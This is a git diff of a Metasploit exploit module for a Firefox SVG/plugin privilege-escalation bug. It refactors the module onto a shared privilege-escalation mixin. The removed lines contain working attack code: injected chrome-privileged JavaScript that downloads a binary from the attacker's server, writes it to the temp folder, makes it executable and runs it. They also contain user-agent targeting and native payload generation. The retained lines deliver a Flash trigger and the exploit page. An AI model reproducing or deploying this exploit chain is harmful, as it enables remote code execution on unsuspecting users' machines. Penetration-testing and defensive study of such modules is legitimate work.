diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index 843e6430bf..19cea1bc58 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name => HttpClients::FF, @@ -40,35 +41,21 @@ class Metasploit3 < Msf::Exploit::Remote with script access should be able to trigger it. }, 'License' => MSF_LICENSE, - 'Platform' => %w{ linux osx win }, - 'Targets' => + 'Targets' => [ [ - [ 'Universal (Javascript XPCOM Shell)', - { - 'Platform' => 'firefox', - 'Arch' => ARCH_FIREFOX - } - ], - [ 'Windows x86 (Native Payload)', - { - 'Platform' => 'win', - 'Arch' => ARCH_X86 - } - ], - [ 'Linux x86 (Native Payload)', - { - 'Platform' => 'linux', - 'Arch' => ARCH_X86 - } - ], - [ 'Mac OS X x86 (Native Payload)', - { - 'Platform' => 'osx', - 'Arch' => ARCH_X86, - } - ] + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } ], - 'DefaultTarget' => 0, + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, 'Author' => [ 'Marius Mlynski', # discovery & bug report @@ -100,74 +87,17 @@ class Metasploit3 < Msf::Exploit::Remote end - def on_request_uri(cli, request) - my_target = get_target(request.headers['User-Agent']) - if my_target.nil? - print_error("User agent does not match an available payload type, bailing.") - send_not_found(cli) - return - end - - target = my_target - + def on_request_exploit(cli, request, info) if request.uri =~ /\.swf$/ # send Flash .swf for navigating the frame to chrome:// print_status("Sending .swf trigger.") send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' }) - elsif request.uri =~ /\.bin/ - # send the binary payload to drop & exec - print_status("Child frame navigated. Sending binary payload to drop & execute.") - send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' }) else # send initial HTML page print_status("Target selected: #{target.name}") print_status("Sending #{self.name}") send_response_html(cli, generate_html(cli, target)) end - handler(cli) - end - - # @return [String] the encoded executable for dropping onto the client's machine - def dropped_file_contents(cli, target) - return if ((p=regenerate_payload(cli)) == nil) - opts = target.opts - exe = '' - - case target.name - when /windows/i - opts = opts.merge({:code=>p.encoded}) - exe = generate_payload_exe(opts) - when /linux/i - exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts) - when /os x/i - exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts) - end - - return exe - end - - # @return [Msf::Module::Target] that matches the client's user-agent header - def get_target(agent) - # Not firefox, bail - if agent !~ /firefox/i - return nil - end - - # User wants to manually specify a target, respect that - if target != targets[0] - return target - end - - # os detection - if agent =~ /windows/i - targets[1] - elsif agent =~ /linux/i - targets[2] - elsif agent =~ /macintosh/i and agent =~ /intel/i - targets[3] - else - nil - end end # @return [String] the contents of the .swf file used to trigger the exploit @@ -176,81 +106,18 @@ class Metasploit3 < Msf::Exploit::Remote @flash_trigger ||= File.read(swf_path) end - # @return [String] the filename that will be used when the payload is dropped - def payload_filename(target) - if target.name =~ /Windows x86/i - "#{Rex::Text.rand_text_alphanumeric(8)}.exe" - else - "#{Rex::Text.rand_text_alphanumeric(8)}.bin" - end - end - - # @return [String] containing javascript code to execute with chrome privileges - def js_payload(cli, target) - if self.target.name =~ /Javascript/ - regenerate_payload(cli).encoded - else - %Q| - #{js_debug("Injection successful. JS executing with chrome privileges.")} - var x = new XMLHttpRequest; - x.overrideMimeType('text/plain; charset=x-user-defined'); - x.open('POST', '#{base_url}.bin', false); - x.send(null); - #{js_debug("'Payload: '+x.responseText", "")} - var file = Components.classes["@mozilla.org/file/directory_service;1"] - .getService(Components.interfaces.nsIProperties) - .get("TmpD", Components.interfaces.nsIFile); - file.append('#{payload_filename(target)}'); - var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] - .createInstance(Components.interfaces.nsIFileOutputStream); - stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0); - stream.write(x.responseText, x.responseText.length); - if (stream instanceof Components.interfaces.nsISafeOutputStream) { - stream.finish(); - } else { - stream.close(); - } - #{chmod_code(target)} - #{js_debug("'Downloaded to: '+file.path", "")} - var process = Components.classes["@mozilla.org/process/util;1"] - .createInstance(Components.interfaces.nsIProcess); - process.init(file); - process.run(false, [], 0); - | - end - end - # @return [String] containing javascript that will alert a debug string # if the DEBUG is set to true def js_debug(str, quote="'") if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end end - # @return [String] containing javascript that will chmod the dropped executable - def chmod_code(target) - return '' if target.name == 'Windows x86 (Native Payload)' - %Q| - var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); - chmod.initWithPath("/bin/chmod"); - var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); - process.init(chmod); - process.run(true, ["+x", file.path], 2); - | - end - - # @return [String] URL for sending requests back to the module - def base_url - proto = (datastore["SSL"] ? "https" : "http") - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] - "#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}" - end - # @return [String] HTML that is sent in the first response to the client def generate_html(cli, target) vars = { :symbol_id => 'a', :random_domain => 'safe', - :payload => js_payload(cli, target), + :payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin :payload_var => 'c', :payload_key => 'k', :payload_obj_var => 'payload_obj', @@ -258,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote :access_string => 'access', :frame_ref => 'frames[0]', :frame_name => 'n', - :loader_path => "#{base_url}.swf", + :loader_path => "#{get_module_uri}.swf", :content => self.datastore['CONTENT'] || '' } %Q|